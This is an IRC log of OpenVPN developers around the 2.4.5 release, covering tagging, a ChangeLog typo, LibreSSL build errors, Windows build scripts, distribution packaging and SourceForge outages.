went 08:21 <@cron2> patches are there, will ACK-and-merge 1+2 later, plaisthos has already ACKed 3 09:57 <@plaisthos> I recieved 1 and 2 two hours laters :D 10:25 <@vpnHelper> RSS Update - gitrepo: man: Reword --management to prefer unix sockets over TCP <https://github.com/OpenVPN/openvpn/commit/ec100d7e4ce7aaeb731c22b0d86826bf295df6cd> || man: Add .TQ groff support macro <https://github.com/OpenVPN/openvpn/commit/5ed5ac5cf869c0284ffeedda358da23e201357cc> 10:26 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 10:26 -!- dan-- is now known as dan- 11:20 <@vpnHelper> RSS Update - gitrepo: Support EC certificates with cryptoapicert <https://github.com/OpenVPN/openvpn/commit/a6f38bafbbbd291d57ecb3610c2844e7f7e01412> 12:46 <@cron2> WARNING: You will may need to rebuild perl using the xlc_r compiler. 12:46 <@cron2> yes, totally 13:04 <@ordex> lol 14:11 <@vpnHelper> RSS Update - tickets: #1032: mbedTLS Security Advisory <https://community.openvpn.net/openvpn/ticket/1032> 14:14 <@syzzer> cron2: so, looked at the code again, and I think you're right 14:14 <@syzzer> I think we can move the server-side parameter updating to the new place 14:15 <@syzzer> makes the think simpler too :) 14:15 <@syzzer> thing 14:17 <@syzzer> so thanks a lot for the good review! 14:34 <@cron2> *g* 14:35 <@cron2> but that also means we need to do a 2.4.6 soonish :-) - because I'm now going to tag & push 2.4.5, so mattock can do the release early morning... 14:36 <@syzzer> yeah, I need some more time to properly test the new patch anyway 14:36 <@cron2> good :) 14:37 <@cron2> (and I'll need to set up an no-occ no-ncp client :) ) 14:38 <@cron2> ugh, 2.4.4->2.4.5 has gone way too long... 2.4.6 should come in 2 months or so 14:39 <@cron2> 25 sep -> 28 feb 14:41 <@cron2> ugh, Changes.rst 14:45 <@syzzer> ugh indeed :/ 14:49 <@cron2> Bug fixes 14:49 <@cron2> --------- 14:49 <@cron2> - Fix build with LibreSSL (multiple times) 15:00 <@cron2> Preparing for release v2.4.3 (ChangeLog, version.m4, Changes.rst) 15:00 <@cron2> argh 15:00 <@cron2> Output: "./openvpn-install-2.4.5-I601.exe" 15:00 <@cron2> "this is what I wanted to paste" -> windows builds passed 15:00 <@cron2> distcheck on FreeBSD/Sparc is running now... 15:11 <@cron2> openvpn-2.4.5 archives ready for distribution: 15:12 <@cron2> openvpn-2.4.5.tar.gz 15:14 <@cron2> *sigh* this is more than amazing... 15:14 <@cron2> ssh: connect to host git.code.sf.net port 22: Connection refused 15:14 <@cron2> fatal: Could not read from remote repository. 15:15 <@cron2> mattock: v2.4.5 is out (including the tag) on github and gitlab, but sf.net is refusing connections right now 15:44 < kitsune1> chachasmooth on #openvpn says typo in ChangeLog: should be 2.4.5, not 2.4.4 15:48 < chachasmooth> https://github.com/OpenVPN/openvpn/commit/27a2e018dfe79af9056ce087155dd39db4280f71#diff-02f0b547c2779d25cff89672135f20e3R4 15:48 <@vpnHelper> Title: Preparing for release v2.4.5 (ChangeLog, version.m4, Changes.rst) · OpenVPN/openvpn@27a2e01 · GitHub (at github.com) 15:48 < chachasmooth> should say 2.4.5 16:07 < chachasmooth> In file included from crypto_openssl.c:44:0: 16:07 < chachasmooth> openssl_compat.h:717:1: error: conflicting types for ‘SSL_CTX_set_min_proto_version’ 16:07 < chachasmooth> SSL_CTX_set_min_proto_version(SSL_CTX *ctx, long tls_ver_min) 16:07 < chachasmooth> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 16:07 < chachasmooth> In file included from openssl_compat.h:45:0, 16:07 < chachasmooth> from crypto_openssl.c:44: 16:07 < chachasmooth> int SSL_CTX_set_min_proto_version(SSL_CTX *ctx, uint16_t version); 16:07 < chachasmooth> ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 16:09 < kitsune1> chachasmooth: building on what OS and what compiler? 16:09 < chachasmooth> gcc (Debian 6.3.0-18+deb9u1) 6.3.0 20170516 16:09 <@plaisthos> chachasmooth: yes, that is an upstream openssl bug 16:10 < kitsune1> Debian 6? Any idea of openssl version? 16:10 < chachasmooth> kitsune1 OpenSSL 1.1.0f 25 May 2017 16:10 < chachasmooth> I'm using libressl though 16:10 < kitsune1> 1.1 will not use that one in compat.h... 16:10 < kitsune1> Oh libressl -- throw it away :) 16:11 <@plaisthos> as I said, upstream bug 16:11 <@plaisthos> iirc the bug correctly 16:11 < kitsune1> Not really.. libressl defines that as a function, openssl as a macro. compat.h assumes its a macro. 16:11 <@plaisthos> oh then a different problem 16:11 <@plaisthos> but bah 16:12 < chachasmooth> how to ifndef for functions? 16:12 <@plaisthos> libressl just doing things different while pretending to be OpenSSL 16:13 < kitsune1> yeah that's teh problem.. they should install in their own namespace.. 16:13 < kitsune1> chachasmooth: surround it with an ifndef LIBRESSL_VERSION or some such -- like in the rest of the code 16:14 <@plaisthos> last time they defined the EC support macro but only implemented half of openssl's ec functionality :/ 16:16 < chachasmooth> kitsune1 thx, that fixed it 16:16 < chachasmooth> will openvpn fix add a fix for libressl? 16:16 < chachasmooth> don't you have CI set up? 16:16 < kitsune1> you can submit a patch -- what version of libressl? 16:17 < chachasmooth> latest, 2.6.4 16:18 < kitsune1> Yeah, that was discussed in the devel-list.. so may be a patch is already in? 16:18 < chachasmooth> why do a release then, libressl is broken every other release :'( 16:18 < chachasmooth> libressl support 16:18 <@syzzer> chachasmooth: libressl is not a supported backend 16:19 <@syzzer> because of this mess it causes 16:19 < chachasmooth> well it's semi-supported, you have some checks for libressl in code 16:19 <@syzzer> using libressl is at your own reisk 16:19 < chachasmooth> just set up libressl in your CI 16:19 <@syzzer> no 16:19 < chachasmooth> why not? 16:19 <@syzzer> that would make people think we support it 16:19 <@syzzer> while we don't 16:19 < chachasmooth> it builds 16:20 <@syzzer> yeah, if patches come that are not too intrusive, we accept hem 16:20 < chachasmooth> it would make life much easier if not every other release would break libressl support for another few months 16:20 <@syzzer> but the bigger the mess, the more I'm inclined to just make configure fail on libressl 16:21 <@syzzer> it would give you clarity ;-) 16:22 < chachasmooth> do you accept patches via github ? 16:22 <@syzzer> no, ml only 16:22 <@syzzer> git send-email to openvpn-devel@lists.sourceforgenet 16:23 <@syzzer> minus typos 16:24 < chachasmooth> then why not disable the feature on github? 16:24 <@syzzer> (re CI - we secretly do build against libressl in the closed build env, but apparently a version that didn't have this breakage yet...) 16:25 <@syzzer> chachasmooth: is that possible nowadays? then we probably should. last time mattock checked, we couldn't disable pull requests. 16:25 <@syzzer> so we added this verbose text explaining the ml when someone opens a pr 16:26 < chachasmooth> oh 16:31 < kitsune1> chachasmooth: just curious, why you wrote openssl 1.1.0f for libressl 2.6.4? 16:32 < chachasmooth> someone was asking which openssl is included in debian stretch 16:32 < chachasmooth> oh it was you 16:35 < kitsune1> I see .. anyway, the point is if it was 1.1 compatible this wouldn't have happened. 16:37 <@syzzer> or api-comptible with any other openssl version, and advertising that through OPENSSL_VERSION 16:56 < tincantech> current build-system keeps throwing an error .. S2TE https://paste.fedoraproject.org/paste/aO1slVrRn6zGTMBj8FrR9g 17:06 < kitsune1> I thought openvpn-build is only for Windows cross-compile.. Can it build native? Anyway -dynamicbase looks like a Windows ASLR option. 17:08 < tincantech> the build system may not be the best wayto test but .. i was trying with a local copy of 2.4.5 but had to scroll back to 2.4.4 17:08 < tincantech> same error 17:08 < tincantech> just a heads up for those who know 17:10 < tincantech> kitsune1: https://community.openvpn.net/openvpn/wiki/BuildingUsingGenericBuildsystem#Cross-compilingonNIXgenericsubdir 17:10 <@vpnHelper> Title: BuildingUsingGenericBuildsystem – OpenVPN Community (at community.openvpn.net) 17:12 < kitsune1> What I meant was the log you pasted was not for cross-compile and that's why it fails. 17:15 < tincantech> oh .. well it would normally build for native x86_64 linux 17:16 < tincantech> have not tried for a while so it could be my error 17:16 < tincantech> but tried so much as to make mantion here 17:17 < kitsune1> really? Look simpossible given -dynamicbase and -nxcompat options are hardcoded. Those are for meant for Windows --- by Windows I mean crosscompile using mngw on Linux for Windows :) 17:17 < tincantech> ahh .. ok 17:18 < tincantech> sounds even worse than i though "hard coded" 17:19 < kitsune1> But building native from distribution tarball is easy -- just configure and make. 17:20 < tincantech> i was going to try the build-sysetm to make a windows binary .. but i cannot even make a native livux one .. soo .. 17:20 < tincantech> the build-system is supposed to be able to build more than a windows bin 17:21 < kitsune1> build system is only for windows (afaik), so "cant make native banaries" using it need not deter you. Just build for Windows. 17:21 < kitsune1> You mean distribution specific binaries -- like .deb ? 17:21 < kitsune1> No way.. 17:23 < tincantech> i better check 17:23 < kitsune1> The build system for linux is configure and make. Throw in autoreconf if starting from git repo, not dist tarball. 17:24 < kitsune1> But that wont make an installer like a .deb, just a bunch of executables. 17:26 < tincantech> I'm trying a windows target 17:26 < kitsune1> Just checked: README in openvpn-build/generic clearly states that its the build-system for cross-compile 17:31 < kitsune1> But where to get 2.4.5 dist from? Using http://build.openvpn.net/downloads/snapshots/openvpn-2.4.5.tar.gz says not found. 17:34 < kitsune1> Ah, you said local copy. 17:35 < tincantech> this is more complex .. the windows target just built 17:35 < tincantech> ok 17:36 < kitsune1> As expected :) I'm trying using the git repo tag v2.4.5. 17:36 < tincantech> probablt changes to buildsys that i missed 17:36 < kitsune1> It has been like that for years.. 17:37 < kitsune1> May be there was anothe rbuild system -- for packaging for debian etc.? 17:39 < tincantech> as i recall .. the build-system should be capable of building for any prescribed target .. but it also packages for windows a .exe installer 17:39 < tincantech> so i am confued at the mo 17:42 < tincantech> IMAGEROOT=`pwd`/image-native ./build .. sounds like a linux "native" 17:42 < kitsune1> Come to think of it if those offending link options were not there it would have completed. And surely those ASLR/DEP based options are new. But anyway, what's the advantage of building like that for Linux -- except it takes case of downloding dependencies etc.. 17:44 < kitsune1> hehe naming a folder 'native' doesn't make it native :) But yes, if build= and host= are not defined configure will assume its a native build. And should work if unsupported options are not added by the build script. 17:45 < kitsune1> Aha, just comment out those EXTRA_TARGET_CFLAGS in build.vars and then it should work for "native". 17:45 < tincantech> trying windows-nsis/build-complete instead 17:46 < tincantech> i'll take a look at those comments 17:48 < kitsune1> But if you use depcache, you will have to make sure depcache directories are named differently for each target. If you dont use depcache it will take a very long time.. I don't particularly like the build system -- there is no easy way to rebuild if only one file is changed etc -- its starts from scratch. 17:48 < tincantech> yep .. i just accept the hit 17:48 < kitsune1> needs patience 17:50 < kitsune1> There should be an option like -target windows32, --target native etc. Should be easy to add? 17:57 < tincantech> is ovpn 2.4.5 shipping with ossl-1.1.x ? or 1.0.x 17:57 < tincantech> for winows i mean 17:58 < tincantech> windows 18:00 < tincantech> build-complete succeeded 18:01 < kitsune1> With 2.4.5 using local copy? 18:01 < tincantech> no no .. vanilla 244 ossl 102n 18:02 < kitsune1> openvpn-build upstream still has openssl_version defined as 1.0.2l in build.vars isn't it? So its shipping with 1.0? I was expecting 1.1 18:02 < tincantech> 102n 18:03 < kitsune1> yeah 1.0.2n -- I was behind. But not 1.1.0g yet.. 18:08 < kitsune1> Does the build-complete installer work on Windows? 18:08 < tincantech> i believe i am trying with 2.4.5 local now 18:09 < kitsune1> I couldn't get build-complete work with local -- it keeps erasing sources folder and wants to download. Can be tweaked, but not worth the trouble.. 18:11 < tincantech> if it can be made to work right (the public version) then it's fairly reliable 18:11 < tincantech> that is all i know of the process 18:11 < tincantech> i'm sure it could do `native` bwdow tho 18:12 < kitsune1> Oh, i was doing something wrong -- it works with locally copied 2.4.5.tar.gz 18:13 < tincantech> there is a trippin gpoint with a directory name 18:13 < kitsune1> Try native after commenting out EXTRA_TARGET_CFLAGS in build.vars 18:15 < tincantech> hehe . "FATAL: cd openvpn" 18:16 < kitsune1> my build-complete is still going.. where did you get that FATAL? 18:17 < tincantech> my .tar.gz is incorrectly packed 18:18 < kitsune1> Not made by make dist? 18:18 < tincantech> no 18:18 < kitsune1> But it worked in generic isn't it? 18:19 < kitsune1> This is how I make tar.gz: in git repo checkout v2.4.5, autoreconf -ivf, configure and then make dist. 18:19 < kitsune1> That would generate openvpn-2.4.5.tar.gz 18:20 < tincantech> yup .. i cannot remember exactly what error i make but i have made it before .. investigating 18:30 < tincantech> ah ha .. ls * 2.4.4 .. 18:38 < kitsune1> First time trying build-complete from scratch, and it failed at the end of openssl build. Its trying to install into //install -- wrong prefix. Do I have to tweak build-complete.vars etc? 18:50 < tincantech> i never had to do that 18:59 < tincantech> nsis/tmp 19:19 < tincantech> either meltcheese or sputnick is frying my i5 19:19 < tincantech> tap-windows 19:19 < tincantech> ls: cannot access 'tmp/image-i686/openvpn-i686-*-bin.*': No such file or directory 19:46 <@ordex> morning 23:15 <@ordex> hoi hoi --- Day changed Thu Mar 01 2018 00:14 <@mattock> the official checklist for making a release: https://community.openvpn.net/openvpn/wiki/OpenvpnReleaseChecklist 00:14 <@vpnHelper> Title: OpenvpnReleaseChecklist – OpenVPN Community (at community.openvpn.net) 00:15 <@mattock> that gives the rough idea of what needs to be done 00:15 <@mattock> and why the release process takes ~3 hours normally 00:52 <@cron2> openvpn-build can build native just fine, *but* the openvpn version is hardcoded in one of the files (build.vars?) so whenever that changes, it will not find the right directory 00:54 <@cron2> mattock: push to sf.net worked now -> all repos in sync 00:55 <@cron2> can you add a few words about LibreSSL compat to the release announcement? Like "LibreSSL is not a supported crypto backend. We accept patches, and we do test on OpenBSD 6.0, but if newer versions of LibreSSL break API compatibility again, we do not take responsibility to fix that" 01:23 <@mattock> cron2: yes that is why our windows buildtest gets confused 01:24 <@cron2> yep. One of the nits of these scripts that are really not hard to fix but I never bothered yet... 02:06 <@mattock> yeah, same here 02:22 <@cron2> so how's release machinery? all ticking nicely? 02:33 <@cron2> as a side note, I really like patchwork 02:34 <@cron2> it makes my life in keeping track of patches and what has been ACKed and who I should be poking *so* much easier 02:39 <@vpnHelper> RSS Update - gitrepo: management: Warn if TCP port is used without password <https://github.com/OpenVPN/openvpn/commit/4db7715a3aa62f2e8d8234c1852fb141f62318e2> 02:58 <@ordex> cron2: pw++ :] 02:59 <@ordex> especially the poking part eeeh? 02:59 <@ordex> :D 03:00 <@cron2> ordex: along the lines of "there are really lots of patches from syzzer in there, so I need to find someone *else* to poke for review" 03:00 <@cron2> or "oh, Selva / Windows stuff, nobody to poke but myself" :) 03:02 * ordex feels poked now 03:02 <@cron2> patch 92 [v2] has been discussed away already, so that's "done!" 03:04 <@syzzer> cron2: did you catch that there is a typo in Changes ? 03:05 <@syzzer> or ChangeLog, i think 03:05 <@syzzer> a 2.4.4 that should be 2.4.5 03:05 <@cron2> i saw hubbub in IRC over night 03:06 <@cron2> the git commit message is actually right, as is the tag annotation... 03:06 <@mattock> release done except for updating the webpage and making release announcements 03:06 <@mattock> I will need to do those pots-lunch 03:06 <@mattock> post 03:07 <@cron2> mattock: can you add a note to the release announcement "a typo has sneaked into ChangeLog, it talks about 2.4.4 when it should say 2.4.5"? 03:07 <@mattock> cron2: anything in particular to highlight in the release notes besides LibreSSL 03:07 <@mattock> ok 03:07 <@mattock> -> lunch 03:07 <@cron2> no way to re-push the release with tag already pushed 03:07 <@mattock> yep 03:08 <@cron2> I can fix ChangeLog so it's proper in the git tree, but see no way to fix the release :-/ 03:08 <@syzzer> That's probably fine though 05:38 <@mattock> "This release includes a large number of fixes and enhancements. One of the biggest changes is that 2.4.5 Windows installers bundle OpenSSL 1.1.0 instead of OpenSSL 1.0.2 by default. The Windows installer also comes with an OpenVPN GUI that has a large number of fixes and improvements." 05:38 <@mattock> oh, and the libressl 05:41 <@cron2> and the stupid 05:41 <@cron2> :) 05:53 <@mattock> and the changelog 05:54 <@mattock> let's see how many people scream - I forgot that we now store the release files in an S3 bucket 05:54 <@mattock> and I already updated the download page 05:54 <@mattock> uploading the files now, which were unavailable for ~2 mins 05:54 <@mattock> our download page starts to have quite a few random notes 05:54 <@mattock> it might be time to clean them up a bit 05:56 <@cron2> yes :) 06:05 <@mattock> damn cloudflare 06:06 * eworm is still waiting... :-p 06:06 < eworm> You could upload files to github.com... 06:06 <@cron2> or sourceforge 06:06 * cron2 cackles manically and runs away 06:07 < eworm> :-D 06:08 <@dazo> mattock: do you have the official tar.xz with signature ready for download somewhere? Preparing the Fedora update now 06:08 <@vpnHelper> RSS Update - tickets: #1033: iOS: dhcp-option PROXY_HTTP(S) not working <https://community.openvpn.net/openvpn/ticket/1033> 06:08 <@dazo> ahh 06:09 <@dazo> I see that's already begin discussed :-P 06:09 <@cron2> where? 06:09 <@dazo> starting at [12:54:05] 06:11 <@dazo> Getting "404 Not Found" ... so ... patience :) 06:11 <@dazo> https://swupdate.openvpn.org/community/releases/openvpn-2.4.5.tar.xz 06:11 <@cron2> ah, that :) 06:11 <@dazo> the signature file is available though :-P 06:11 <@cron2> most important 06:12 <@dazo> in a sense, yes :) 06:12 <@dazo> once you have the tar.xz :-P 06:23 <@cron2> bah 06:23 <@cron2> trying to push the changelog fix, and now sf.net is broken again (but differently from yesterday) 06:23 <@cron2> remote: error: insufficient permission for adding an object to repository database ./objects 06:24 * cron2 would really like to know how a team can mess up that thoroughly 06:24 <@dazo> heh 06:24 <@cron2> (sf.net commit e-mails have been broken for weeks now) 07:24 <@cron2> are downloads now working? 07:27 < eworm> looks like 07:27 < eworm> Successfully downloaded the tar.xz and this signature 07:27 < eworm> already pushed my package to Arch Linux [testing] repository 07:29 <@cron2> that was quick :) 07:32 < eworm> Build Date : Thu 01 Mar 2018 02:00:30 PM CET 07:48 <@cron2> mattock: lunch done? We're missing an announce mail :) 07:52 <@dazo> yeah ... working on the Fedora packages still ... adding a few other fixes which is Fedora package related as well 07:53 <@dazo> eworm: while I have you here :) tmpfiles.d stuff, is not 0710 with root:root .... Wouldn't it be better to have it 0750 root:openvpn ? 07:54 <@dazo> (but that change isn't so easy ... Debian does not add any openvpn:openvpn user:group by default) 07:55 <@dazo> but actually, I think Debian is doing a major mistake by allowing many programs to run under nobody .... as process A running as nobody have the same privileges as process B running as nobody ... and process B can get access to data process A has access too and vice versa 07:56 <@dazo> (but we can't fix Debian :-P) 07:56 < havoc> not sure who maintains the website, but: "OpenVPN 2.4.4 -- released on 2018.03.01 (Change Log)" 07:56 < havoc> from: https://openvpn.net/index.php/open-source/downloads.html 07:56 <@vpnHelper> Title: Downloads (at openvpn.net) 07:57 < havoc> date and changelog are for 2.4.5, all other links/labels are still 2.4.4 07:57 < havoc> just an FYI 07:57 <@cron2> oh my... (my ChangeLog *file* entry also has "2.4.4", so there is something with this release...) 07:58 <@cron2> mattock: could you have a look, please? :-) 07:58 < havoc> just letting you all know :) 07:58 < eworm> dazo: Not sure about the mode 0710... That is what was in systemd unit files before. 07:59 <@dazo> eworm: yeah, I don't recall any reasons for 0710 now ... haven't dug into the unit file history yet 07:59 < eworm> With Arch we do not have an openvpn user either 07:59 <@dazo> aha 07:59 <@dazo> good to know :) 08:00 < eworm> for notwork setup we need root privileges, no? 08:00 < eworm> if you want User=openvpn within the systemd units you need to have some extra setup 08:01 <@dazo> I'm going to try the User=openvpn and even Group=openvpn in the unit files .... as we have CAP_NETADMIN, which is what openvpn strictly needs 08:01 <@dazo> but I don't know if those capabilities follows when openvpn does the execve() calls (for iproute2) 08:01 < eworm> But openvpn calls ip and that refuses to work AFAIK 08:02 <@dazo> that happens normally when lacking CAP_NETADMIN 08:02 < eworm> Perhaps thing will work if openvpn switches to native netlink interface 08:02 <@dazo> yeah, that is pretty much for sure 08:04 <@dazo> btw ... ordex already have some netlink patches ready ... and I've run them for quite some time without issues locally ... this is planned for v2.5 08:05 < eworm> yeah, I know 08:05 < eworm> Tested them myself for some time, did not see any issues. 08:05 < eworm> let's go for it :) 08:06 <@ordex> :) 08:06 <@dazo> :) 08:06 <@ordex> we lack unit tests (as per our agreement at the hackathon) 08:06 <@dazo> we discussed these pathces at the hackathon ... so there's a few things we should improve, but otherwise we're pretty much ready for it now (after patch-peer-review) :) 08:11 <@ordex> eworm: so you've also been running the netlink patches? 08:13 < eworm> ordex: yes 08:13 <@ordex> cool 08:14 < eworm> running unmodified Arch packages most of the time, but let me know if there ist anything to test 08:14 <@ordex> glad to hear 08:15 <@ordex> so yeah, maybe i should allocate some time on the netlink patches 08:15 <@ordex> (I was hoping to finish the multiprotocol/port thing before that) 08:15 <@mattock> I will fix the download page once I get access to CloudFlare (<1 hour) 08:16 -!- slypknot is now known as tincantech 08:36 <@vpnHelper> RSS Update - tickets: #1028: iOS: PKCS5 error when prompted for the private key password (encrypted with OpenSSL 1.1) <https://community.openvpn.net/openvpn/ticket/1028> 08:44 <@mattock> \o/ in cloudflare now 08:53 <@mattock> although cloudflare seems to have recovered by itself 08:53 <@mattock> download page now online 08:53 <@mattock> will do announcements now 08:59 <@mattock> done 09:55 <@dazo> Ploughing through Fedora Rawhide, 28, 27, 26 and thinking you're done and suddenly you realise there's EPEL-6 and EPEL-7 left ..... there's something to this release which is rougher 09:55 <@dazo> (had a fair share of packaging challenges as well this time) 09:55 <@cron2> Simon mailed that we've overlooked RHEL5-relevant #ifdef in openssl_compat.h as well... 09:56 <@cron2> dazo: what changed wrt packaging? 09:56 <@dazo> mostly Fedora packaging policies ... which now don't install various packages in buildroots by default 09:56 <@dazo> plus some Fedora specific packaging issues, reported by users ... wrong ownership/permissions, etc 09:57 <@dazo> btw ... I'm pulling in your ChangeLog patch into the Fedora packages, just to avoid confusing users :-P 09:57 <@cron2> makes sense 09:58 <@cron2> you might want to check this one as well, in case you get build fails 09:58 <@cron2> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg16588.html 09:58 <@vpnHelper> Title: [Openvpn-devel] tls fix for upcoming 2.4.5 (at www.mail-archive.com) 09:59 <@dazo> If having issues ... that'll probably be in EPEL-6 ... (we don't do EPEL-5, as that branch closed and sealed in Fedora land) 10:10 <@cron2> ah 10:53 <@dazo> seemed to build just fine on EPEL-6 and 7 .... almost a bit too easy 11:13 <@dazo> finally ... updates sent out to Fedora+EPEL land ... now time to wait for users to complain during their testing :) 11:53 <@cron2> tons of buildbot failures because sf.net is refusing connections again 11:53 <@cron2> *and* the list is down again 11:53 <@cron2> (Deferred: Operation timed out with mx.sourceforge.net.) 11:54 * cron2 is not particular patient person at the best of all times, but this is just... sad... 12:27 <@dazo> w00t!?!?! I managed to get pkcs11 working (command line only so far) with a yubikey neo with OpenVPN ...... well "working" ... iproute2 hangs after connection has been established (waitpid() related) 12:57 <@cron2> syzzer: I assume that https://patchwork.openvpn.net/patch/256/ should go to release/2.4, because we want 0.9.8 compatibility there - but not to master? 12:57 <@vpnHelper> Title: [Openvpn-devel] tls fix for upcoming 2.4.5 - Patchwork (at patchwork.openvpn.net) 12:58 <@cron2> (it's patching one of your contributions...) --- Day changed Fri Mar 02 2018 01:28 <@cron2> *yawn*... another nice day full of sf.net brokenness...[3~ 01:28 <@cron2> ssh: connect to host git.code.sf.net port 22: Operation timed out 01:31 <@vpnHelper> RSS Update - gitrepo: Delete the IPv6 route to the "connected" network on tun close <https://github.com/OpenVPN/openvpn/commit/b607900ba937b5f45796d2e3810ef91a32826927> 01:35 <@ordex> lol 01:35 <@ordex> still DoS's ? 01:36 <@ordex> DoS'd 01:39 <@cron2> no idea... MX and git repo just time out 01:39 <@cron2> aha... 01:39 <@cron2> https://twitter.com/sfnet_ops/status/969377360129773568 01:39 <@cron2> "we now have a much better idea as to what is causing..." 01:41 <@ordex> if they do, we're all safe 01:41 <@ordex> wait, also few days ago they did 02:32 <@syzzer> cron2: yeah, 256 should go into 2.4 only 02:37 <@cron2> syzzer: good. (Actually I looked at the surrounding #ifdef and Selva's explanation and it then was totally obvious :-) - it's already in, I just can't get the mail out, as sf is totally down today - neither mx nor git.code.sf.net are reachable) 02:56 <@syzzer> ah good. I totally forgot that I wanted to send a 2.4 version of that patch... 02:57 <@syzzer> I already had it in my tree, but wanted to wait until there was a final version for master, to keep limit the entropy on the ml :p 02:57 <@syzzer> didn't really work out 04:32 < eworm> ordex: My netlink patch is from early August last year. 04:33 < eworm> Were there any changes? What to get the latest version? 04:33 <@ordex> yeah, I don't think I did anything else since then 04:33 <@ordex> lemme chekc my branch 04:33 <@ordex> *check 04:35 <@ordex> eworm: in this branch you have the latest patch: https://github.com/ordex/openvpn/tree/sitnl 04:35 <@vpnHelper> Title: GitHub - ordex/openvpn at sitnl (at github.com) 04:35 <@ordex> I should rebase it on top f something more recent I think 04:35 <@ordex> this branch is 5 months old 04:36 < eworm> I think that is what I have 04:37 <@ordex> oky 04:37 <@ordex> I'll poke you once i update it 04:37 <@ordex> I will try to do it soonish 04:44 < eworm> thanks a lot! 05:35 <@ordex> my pleasure :) 05:40 <@cron2> oh, sf.net is improving 05:40 <@cron2> instead of a timeout trying to push, I now get a connection refused right away 07:40 <@dazo> so while sf.net collapses .... github has a different story to tell ... https://githubengineering.com/ddos-incident-report/ 07:40 <@vpnHelper> Title: February 28th DDoS Incident Report | GitHub Engineering (at githubengineering.com) 07:41 <@dazo> (could it be the same attack?) 08:11 <@cron2> the attack in question is nice and powerful (like, 1.5 Tbit/s achievable attack bandwidth)... it could, but the effects are strange (connection refused? permission denied? list users bouncing?) 08:15 <@ordex> I have the feeling pretty much the whole internet is slown down these days 08:47 <@dazo> ordex: perhaps HK is the origin of these attacks :-P 08:48 <@dazo> cron2: couldn't connection refused could be a typical port number pool exhausted? ... so if the front-ends gets pushed so hard, it ripples to the backends which is also exhausted, and on the way back to the user it ends up being a permission issue? 08:49 <@dazo> list users bouncing is a different one ... but if the database containing all this is also pushed to its limits, the lookup could fail too 08:49 * dazo just speculates 08:49 <@ordex> :D 09:00 < tincantech> i am tcpdump'ing an udp vpn which passes thru a GRETAP tunnel between srv&cli .. cli->srv cksum ok .. srv->cli bad cksum! the vpn works but that bad cksum is odd (every srv->cli packet) 09:12 < tincantech> probably ethtool --show-offload .. nvm 09:18 < eworm> is there any rough schedule for version 2.5? 13:18 <@mattock> it seems that nothing has exploded in 2.4.5 13:18 <@mattock> not even OpenSSL 1.1.0 13:18 <@cron2> maybe nobody found it yet :) 13:20 <@mattock> that could explain it :D 14:11 < tincantech> https://forums.openvpn.net/viewtopic.php?f=1&t=25958 14:11 <@vpnHelper> Title: openvpn-install-2.4.5-I601.exe certificate - OpenVPN Support Forum (at forums.openvpn.net) 14:11 < tincantech> mattock: ^ 14:12 < tincantech> i have not checked myself 14:14 < kitsune1> So users are upgrading to 2.4.5. That too on a Friday night :) 16:04 <@cron2> oh no, certificates again 17:06 <@dazo> we probably need to list both the subkey and master key fingerprints to the security key 18:51 < cthuluh> hi 18:51 < cthuluh> are the instructions at https://community.openvpn.net/openvpn/wiki/SettingUpBuildslave still valid? 18:51 <@vpnHelper> Title: SettingUpBuildslave – OpenVPN Community (at community.openvpn.net) 19:02 < tincantech> cthuluh: that is what i used 19:05 < cthuluh> tincantech: ok, thanks 21:33 <@ordex> cron2: will 75 get some attention at some point? :) I am afraid it will diverge too much from the current code (unless it did already) 21:47 <@ordex> dazo: https://github.com/ordex/openvpn/tree/sitnl << rebased on top of latest master + split into 3 smaller patches 21:47 <@vpnHelper> Title: GitHub - ordex/openvpn at sitnl (at github.com) --- Day changed Sat Mar 03 2018 02:16 <@cron2> ordex: it better should :) - *selfpoke* 02:22 <@ordex> :D 05:26 <@vpnHelper> RSS Update - tickets: #1034: OpenVPN GUI: Eror with exit code 1 <https://community.openvpn.net/openvpn/ticket/1034> 09:32 * plaisthos fights his way though our convulved auth_user_pass code 09:42 <@ordex> :D 09:42 <@ordex> don't get lost plaisthos ! 14:43 <@plaisthos> yeah 14:43 <@plaisthos> should I introduce an IV_TOKEN? 14:44 <@plaisthos> that means "It is safe to send auth-token to this client 15:35 <@plaisthos> I will just increment IV_PROTO and let IV_PROTO=3 be "has proper auth-token handling" --- Day changed Sun Mar 04 2018 02:51 <@cron2> whee, sf.net returned to life! 03:03 <@cron2> well, for some definitions of "life"... their MTA accepted mails again, but delivery is pending... 03:04 <@cron2> ah, no, it bounced with "unknown user" again 03:15 <@mattock> dazo: this is what I use to produce Debian/Ubuntu packages: https://github.com/OpenVPN/sbuild_wrapper/ 03:15 <@vpnHelper> Title: GitHub - OpenVPN/sbuild_wrapper: A set of scripts for easily building a set of Debian/Ubuntu packages. Currently highly OpenVPN-specific. (at github.com) 03:16 <@mattock> use of sbuild (which in turn uses schroot) seems to be the norm when cross-building for several diffent architectures and/or distros 03:16 <@mattock> in Debian/Ubuntu 03:17 <@mattock> I suggest we improve those scripts so that they can build openvpn3-core + openvpn3-linux 03:18 <@mattock> better than you reinventing the wheel and ending up with two official sets of scripts imho 03:45 <@cron2> syzzer: is "Make return code external tls key match docs" 2.4 + master? 03:45 <@syzzer> cron2: yes 03:45 <@syzzer> I'd call this a bug, and in particular ignoring the return codes should be fixes in both as a follow-up 03:46 <@cron2> +1 03:46 <@cron2> I was just too lazy to actually look into the 2.4 code to see whether it's the same 03:47 <@cron2> haha, close :) 03:47 <@cron2> error: could not apply 6bee1a1f... Make return code external tls key match docs 03:47 <@cron2> 2.4 actually has a crypto_msg(M_FATAL, "Cannot enable SSL external private key capability"); there 03:48 <@cron2> mmmh, as has master... but the code looks different enough to upset git cherrypick 03:48 * cron2 looks more closely 03:49 <@syzzer> hmm 03:51 <@cron2> lots of new code has been added nearby (Selva's work in master for EC ext pk) 03:51 <@cron2> but the actual code is the same 03:51 <@syzzer> yeah - and mbed does not have an M_FATAL so that needs fixing anyway 04:00 <@vpnHelper> RSS Update - gitrepo: Make return code external tls key match docs <https://github.com/OpenVPN/openvpn/commit/6bee1a1fc01f3d3ddf114b48e52e5b10d57033cb> 05:27 <@ordex> mattock: https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos << this page does not mention stretch - is that on purpose? 05:27 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net) 05:28 <@ordex> (stretch = debian 9.x 05:28 <@ordex> ) 